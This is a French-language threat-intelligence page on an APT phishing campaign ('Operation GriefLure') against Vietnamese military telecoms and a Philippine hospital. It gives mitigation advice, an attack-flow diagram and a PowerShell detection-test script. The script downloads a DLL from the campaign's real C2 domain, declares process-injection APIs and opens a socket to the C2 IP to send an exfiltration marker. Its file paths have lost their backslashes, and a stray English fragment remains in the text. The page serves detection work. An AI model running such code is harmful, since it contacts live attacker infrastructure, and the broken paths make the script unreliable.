SOC Prime Bias: Critique

08 Mai 2026 18:40

Opération GriefLure : Analyse d’une campagne APT visant les télécommunications militaires du Vietnam et le secteur de la santé aux Philippines

Author Photo
SOC Prime Team linkedin icon Suivre
Opération GriefLure : Analyse d’une campagne APT visant les télécommunications militaires du Vietnam et le secteur de la santé aux Philippines
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Seqrite Labs a identifié une campagne de spear-phishing ciblée reposant sur des fichiers LNK Windows malveillants dissimulés dans des archives RAR doublement compressées. Lorsqu’ouvert, le LNK lançait un ftp.exe chargeur sur le système natif qui reconstruisait une charge utile polymorphe nommée sfsvc.exe à partir de fragments .doc stockés sur l’ordinateur de la victime. L’activité visait des cadres supérieurs du secteur des télécommunications appartenant à l’armée vietnamienne et du personnel d’un hôpital privé aux Philippines, utilisant des documents à l’apparence légitime comme appât. La chaîne d’infection complète se réalisait en moins de dix secondes et ne laissait que des artefacts minimaux sur le disque.

Enquête

L’enquête a décomposé la structure de l’archive, cartographié le chemin d’exécution du LNK, et rétro-conçu le sfsvc.exe chargeur personnalisé, qui était conçu pour ressembler à regsvr32.exe. Les analystes ont documenté le chargement dynamique de bibliothèques, l’exécution de code en mémoire, l’injection de processus, et les communications de commande et contrôle à travers un domaine déguisé. L’examen des artefacts a également révélé un domaine C2 codé en dur, www.whatsappcenter.com, hébergé chez un fournisseur à sécurité renforcée à Hong Kong.

Atténuation

Les défenseurs devraient bloquer l’exécution de fichiers LNK délivrés via des pièces jointes d’email et surveiller l’utilisation de ftp.exe avec des arguments de ligne de commande suspects. La détection sur les points de terminaison devrait cibler le chargement sans fichier de DLL, les écritures des flux de données alternatifs sous C:UsersPublicUpdate, et la création rapide de sfsvc.exe. Les organisations devraient également renforcer les vérifications de la provenance des documents et sensibiliser les utilisateurs aux appâts qui semblent être des fichiers légaux ou liés à des lanceurs d’alerte.

Réponse

Si le fichier LNK malveillant ou sfsvc.exe le processus est détecté, isolez immédiatement le point de terminaison affecté, collectez la mémoire volatile et cherchez les fichiers chargeurs 360.*.dll et artefacts de flux de données alternatifs. Le domaine de commande et de contrôle identifié et l’adresse IP associée doivent être bloqués, et une réponse à l’incident doit démarrer pour déterminer si des données ont été exfiltrées. Une enquête plus large doit également être menée pour une activité similaire à celle entraînée par LNK dans l’environnement. ftp.exe loader activity across the environment.

graph TB %% Définition des classes classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Nœuds – chaîne d’attaque attack_initial_access[« <b>Action</b> – <b>T1566.001 Phishing avec pièce jointe</b><br/>La victime reçoit une archive RAR doublement compressée contenant un fichier LNK malveillant »] class attack_initial_access action artifact_rar[« <b>Fichier</b> – Archive RAR<br/>Contient un document juridique apparemment légitime et un fichier LNK malveillant »] class artifact_rar file artifact_lnk[« <b>Fichier</b> – LNK malveillant<br/>Double extension (ex : document.lnk.rar) pour contourner la détection »] class artifact_lnk file tool_ftp[« <b>Outil</b> – ftp.exe (binaire système Windows)<br/>Utilisé comme proxy pour exécuter un script batch caché »] class tool_ftp tool process_batch[« <b>Processus</b> – Script Batch<br/>Exécute copy /b pour reconstruire le payload en sfsvc.exe et 360.dll »] class process_batch process file_sfsvc_exe[« <b>Fichier</b> – sfsvc.exe<br/>Exécutable final du payload construit à partir de fragments »] class file_sfsvc_exe file file_360dll[« <b>Fichier</b> – 360.dll<br/>DLL polymorphe utilisée pour le side-loading et la livraison de shellcode »] class file_360dll file action_modify_path[« <b>Action</b> – <b>T1574.007 Modification des variables d’environnement (PATH)</b><br/>Ajoute C:\\Users\\Public\\Update au PATH pour la persistance »] class action_modify_path action action_dll_side_load[« <b>Action</b> – <b>T1574.002 DLL Side-Loading</b> & <b>T1546.009 Exécution via AppCert DLL</b><br/>sfsvc.exe charge 360.dll via /calldll et DllRegisterServer »] class action_dll_side_load action process_explorer[« <b>Processus</b> – explorer.exe<br/>Processus cible pour l’injection DLL »] class process_explorer process action_process_injection[« <b>Action</b> – <b>T1055.001 Injection DLL</b><br/>360.dll injecte un shellcode de seconde étape dans explorer.exe »] class action_process_injection action action_discovery[« <b>Action</b> – <b>T1057 Découverte des processus</b> & <b>T1518.001 Découverte des logiciels de sécurité</b><br/>Énumération des processus et des produits de sécurité installés »] class action_discovery action action_cred_access[« <b>Action</b> – <b>T1555.003 Identifiants navigateurs</b> & <b>T1552.001 Identifiants dans fichiers</b><br/>Vol des mots de passe, cookies et fichiers de configuration »] class action_cred_access action action_collection[« <b>Action</b> – <b>T1113 Capture d’écran</b> & <b>T1083 Découverte de fichiers et répertoires</b><br/>Collecte de captures d’écran et listes de répertoires »] class action_collection action action_exfiltration[« <b>Action</b> – <b>T1071.001 HTTPS</b> & <b>T1573 Canal chiffré/obfusqué</b><br/>Données envoyées au serveur C2 via HTTPS encodé en XOR »] class action_exfiltration action c2_server[« <b>Serveur C2</b> – www.whatsappcenter.com<br/>Reçoit les données exfiltrées »] class c2_server c2 %% Connexions attack_initial_access –>|livre| artifact_rar artifact_rar –>|contient| artifact_lnk artifact_lnk –>|exécute| tool_ftp tool_ftp –>|lance| process_batch process_batch –>|crée| file_sfsvc_exe process_batch –>|crée| file_360dll file_sfsvc_exe –>|déclenche| action_modify_path action_modify_path –>|permet| action_dll_side_load file_360dll –>|chargé par| action_dll_side_load action_dll_side_load –>|injecte dans| process_explorer process_explorer –>|ciblé par| action_process_injection action_process_injection –>|active| action_discovery action_discovery –>|alimente| action_cred_access action_cred_access –>|fournit données à| action_collection action_collection –>|mène à| action_exfiltration action_exfiltration –>|envoie à| c2_server

Flux d’Attaque

Exécution de Simulation

Prérequis : Le contrôle pré-vol de la Télémétrie et de la Base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer précisément la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à des erreurs de diagnostic.

  • Récit de l’Attaque & Commandes :
    L’attaquant, ayant pris pied via une pièce jointe de phishing (T1566.001, T1204.002), choisit une approche de vivre sur la terre pour éviter les charges exécutables. En utilisant le cmd.exe (T1059.003) intégré, ils lancent un PowerShell d’une ligne qui exécute les étapes suivantes :

    1. Découverte – énumère les informations système (T1082) et les processus en cours (T1057) pour décider d’une cible d’injection appropriée.
    2. Récolte d’Identifiers – lire les magasins de navigateur (T1555.003) et extraire les fichiers d’identifiants (T1552.001) dans un dossier de mise en scène.
    3. Récupération de Charge Utile – télécharger une DLL malveillante depuis le domaine C2 www.whatsappcenter.com via HTTPS (T1071.001, T1041).
    4. Injection de Processus – injecter la DLL dans explorer.exe (T1055.001) pour obtenir la persistance et élever les privilèges.
    5. Communication C2 – ouvrir une connexion TCP persistante vers 38.54.122.188 (l’IP codée en dur) et commencer à exfiltrer les données récoltées.

    L’étape critique qui satisfait la règle Sigma est la tentative de connexion sortante au domaine/IP exact, qui sera enregistrée par Sysmon et le pare-feu Windows.

  • Script de Test de Régression :

    # -------------------------------------------------
    # Simulation C2 GriefLure – version PowerShell
    # -------------------------------------------------
    # 1. Découverte système (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simuler la récolte d'identifiants (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Télécharger une DLL malveillante depuis le domaine C2 codé en dur (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Injecter la DLL dans explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Les étapes d'injection réelles sont omises pour des raisons de brièveté ; dans un vrai test, vous appelleriez les API ci-dessus.)
    
    # 5. Ouvrir un socket C2 persistant à l'IP codée en dur (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Commandes de Nettoyage :

    # Supprimer les fichiers en instance
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Fermer toutes connexions TCP persistantes (si toujours ouvertes)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Optionnellement réinitialiser le tampon Sysmon (pour un état propre lors de tests répétés)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml